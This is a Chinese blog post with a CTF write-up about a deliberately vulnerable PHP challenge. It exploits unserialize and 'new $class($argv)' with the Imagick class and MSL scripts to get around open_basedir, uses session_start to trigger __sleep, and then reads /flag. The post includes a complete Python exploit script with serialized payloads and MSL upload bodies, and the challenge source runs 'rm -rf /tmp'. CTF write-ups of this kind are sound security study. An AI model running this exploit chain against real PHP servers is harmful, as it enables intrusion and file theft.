首页 > 编程语言 >php中遇到new $a($b)的解法 imagick类的利用绕过open_basedir

php中遇到new $a($b)的解法 imagick类的利用绕过open_basedir

时间:2024-07-18 09:07:47浏览次数:17  
标签:__ 22% basedir 3A% headers imagick sleep new data

今天做题遇到一个新的知识点,接下来回顾下。

源码
 <?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
    
    public function __sleep() {
        if (
            file_exists($this->path) && 
            preg_match_all('/[flag]/m', $this->path) === 0
        ) {
            readfile($this->path);
        }
    }

    public function __wakeup() {
        $func = $this->func;
        if (
            is_string($func) && 
            in_array($func, FUNC_LIST["internal"])
        ) {
            call_user_func($func);
        } else {
            $argv = $this->argv;
            $class = $this->class;
            
            new $class($argv);
        }
    }
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
    case 'unserialze':
        unserialize($data);
        break;
    
    case 'rm':
        system("rm -rf /tmp 2>/dev/null");
        break;
    
    default:
        highlight_file(__FILE__);
        break;
}

看到源码我人都懵了,唯一的思路就是new $class($argv)可能会用到内部类,但是读取文件可能要利用到sleep魔术方法,但是sleep是执行serialize()时,先会调用这个函数,所以如何触发这个方法成了一个问题。看了wp发现调用无参函数 session_start ,session_start 会将会话数据反序列化得到 fumo_backdoor 对象,会话结束时会将这个 fumo_backdoor 再次序列化,从而调用到 __sleep 方法。所以我们现在需要利用的就是new $class($argv);来读取到对flag进行操作,因为限制了目录,所以我们需要的方法要绕过目录的限制。

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

这篇文章介绍了imagick类,由于 Imagick 底层实现并不在 php 里,因此使用 Imagick 去读取文件可以无视 open_basedir。
imagick:文章中提到 ImageMagick 格式是 MSL。MSL 代表 Magick 脚本语言。它是一种内置的ImageMagick 语言,有助于读取图像、执行图像处理任务以及将结果写回文件系统。

而上图中的msl文件内容意思就是读取positive.png的内容,写入/tmp/xxxxx下,那我们能不能读取/flag写入/tmp目录下,然后反序列化读取文件就可以得到我们的flag了。
最后附上一篇大佬的payoad:

payload
import requests
import base64 
import time
import re

url = "http://192.168.137.131:28999/index.php"
url = "http://182.92.6.230:18080"
proxies = {
    "http":"http://127.0.0.1:8080",
    "https":"http://127.0.0.1:8080"
}

write_session_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D'

trigger_sleep_payload = 'aaa|O:13:"fumo_backdoor":4:{s:4:"path";s:9:"/tmp/xxxx";s:4:"argv";N;s:4:"func";s:12:"zend_version";s:5:"class";N;}'

trigger_sleep_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D&cmd=unserialze'


def gen_ppm(payload):
    ppm_content = '''P6
9 9
255
{}'''.format((243-len(payload))*"\x00" + payload)
    ppm_content = base64.b64encode(ppm_content.encode()).decode()
    return ppm_content

def rm_tmp_file():
    headers = {"Accept": "*/*"}
    requests.get(
        f"{url}/?cmd=rm",
        headers=headers,
        proxies=proxies
    )

def upload_file(file_content,file_path):
    headers = {
        "Accept": "*/*",
        "Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
    }

    data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,{file_content}\" />\r\n <write filename=\"{file_path}\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
    try:
        requests.post(
            f"{url}/?data={write_session_params}&cmd=unserialze",
            headers=headers, data=data,proxies=proxies
        )
    except requests.exceptions.ConnectionError:
        pass


def upload_session():
    payload = gen_ppm(trigger_sleep_payload)
    upload_file(payload,"/tmp/sess_afkl")

def copy_flag():
    headers = {
        "Accept": "*/*",
        "Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
    }

    data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"mvg:/flag\" />\r\n <write filename=\"/tmp/xxxx\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
    try:
        requests.post(
            f"{url}/?data={write_session_params}&cmd=unserialze",
            headers=headers, data=data,proxies=proxies
        )
    except requests.exceptions.ConnectionError:
        pass


def get_flag():
    cookies = {"PHPSESSID": "afkl"}
    headers = {"Accept": "*/*"}
    response = requests.get(
        f"{url}/?data={trigger_sleep_params}&cmd=unserialze", 
        headers=headers, cookies=cookies,proxies=proxies
    )
    print(response.text)
    return re.findall(r"(flag\{.*\})", response.text)

if __name__ == '__main__':
    rm_tmp_file()
    time.sleep(2)
    copy_flag()
    time.sleep(2)
    upload_session()
    time.sleep(2)
    get_flag()
在ciscn2022的backdoor中出现了类似的做法,贴上wp:

https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md

总结:

  1. imagick类的利用
  2. 通过php session反序列化来触发__sleep魔术方法

标签:__,22%,basedir,3A%,headers,imagick,sleep,new,data
From: https://www.cnblogs.com/jocker-love-you/p/18308701

相关文章

  • 《QQ三国》bugreportnew.dll 加载失败:游戏启动难题的深度解析与修复
    遇到《QQ三国》游戏加载bugreportnew.dll失败的问题,通常意味着游戏在启动或运行时未能成功加载或初始化bugreportnew.dll这个动态链接库(DynamicLinkLibrary)文件。bugreportnew.dll文件可能是游戏内置错误报告系统的一部分,用于在游戏崩溃或遇到问题时收集错误信息并生成报告。......
  • Qt - QtWebEngineWidgets模块
    1、QtWebEngineWidgets模块 #include<QtWebEngineWidgets>QT+=webenginewidgets 1.1QWebEnginePage示例代码:#include<QtWebEngineWidgets>#include<QWebEnginePage>//1、创建一个新的QWebEnginePage实例:page=newQWebEnginePage(this);......
  • NEW_我不喜欢_strlcpy
    https://nrk.neocities.org/articles/not-a-fan-of-strlcpy作者讨论了strcpy的变体strlcpy,并认为这个变体没有使用的意义。他们都是把字符串拷贝到另一个位置的函数,strcpy因为不限制目标位置的长度,容易产生缓冲区溢出,因此被很多人认为是不安全的。strlcpy则改进了这种行为......
  • Pandas运行报错分析:ValueError: Length mismatch: Expected axis has 0 elements, new
    ✨✨欢迎大家来到景天科技苑✨✨......
  • 记一次Burp与NEW_xp_CAPTCHA工具联动爆破验证码
    首先下载NEW_xp_CAPTCHA工具地址:https://github.com/smxiazi我下载的是大佬直接发布的打包好的环境,包括对应python3.6.6与NEW_xp_CAPTCHA工具脚本下载完后直接点击运行即可本地访问http://127.0.0.1:8899/,看到这个页面,证明没问题然后就是burp导入插件jar。这里要下载xp_CA......
  • Python安装出现严重错误的解决方法_0x80070643-( A newer version of the Python laun
    每次在装软件配置环境的时候,总会遇到别人碰不到的各种问题,人都麻了。最后我还是自己尝试这解决了,只是建议,虽然说不知道是否以后还会问题,但是可以成功安装,配置环境并运行。(本人是win11)首先解释一下pythonlauncher是什么资料解释:PythonLauncher是Python官方提供的一个工具,......
  • JavaScript中的new map()和new set()使用详细(new map()和new set()的区别)
    Map对象是一种键值对的集合,其中的键是唯一的,值可以重复。newSet():在JavaScript中,newSet()是用来创建一个新的Set对象的语法。Set对象是一种集合,其中的值是唯一的,没有重复的值。newSet()可以用来创建一个空的Set对象,在创建时传入一个数组或类数组对象,Set会自动去......
  • Improving News Recommendation via Bottlenecked Multi-task Pre-training论文阅读笔
    ImprovingNewsRecommendationviaBottleneckedMulti-taskPre-training论文阅读笔记Abstract现存的问题:​ 现有的PLM大多是在大规模通用语料库上预先训练的,并没有专门用于捕捉新闻文章中的丰富信息。因此,它们生成的新闻嵌入信息可能不足以表示新闻内容或描述新闻之间的关......
  • 去重技巧:图片怎么查重?4个图片查重方法大公开!(2024 New)
    照片是保存记忆的绝佳工具。它们是终极时间胶囊,能够唤起久违的记忆和情感。然而,随着照片数量的迅速增长,我们电脑的存储空间也被它们占据得满满当当。这一大部分责任归咎于我们设备上无数的重复照片。这些重复照片由于我们的疏忽而产生,因我们的无所谓而滞留在电脑中。摆脱这些重......
  • 面向1-类和对象-方法、new的定义和使用
    面向对象编程OOP面向面向对象和面向过程面向对象oop-分类的思维方式-本质——以类的方式组织代码,以对象的组织(封装)数据抽像+封装+继承+多态认识上-先有对象(具体的事物)再有类(对对象的抽象)代码上-先有对象再有类(类是对象的模板)面向过程-线性步骤分析方式类-描绘一系列事物的......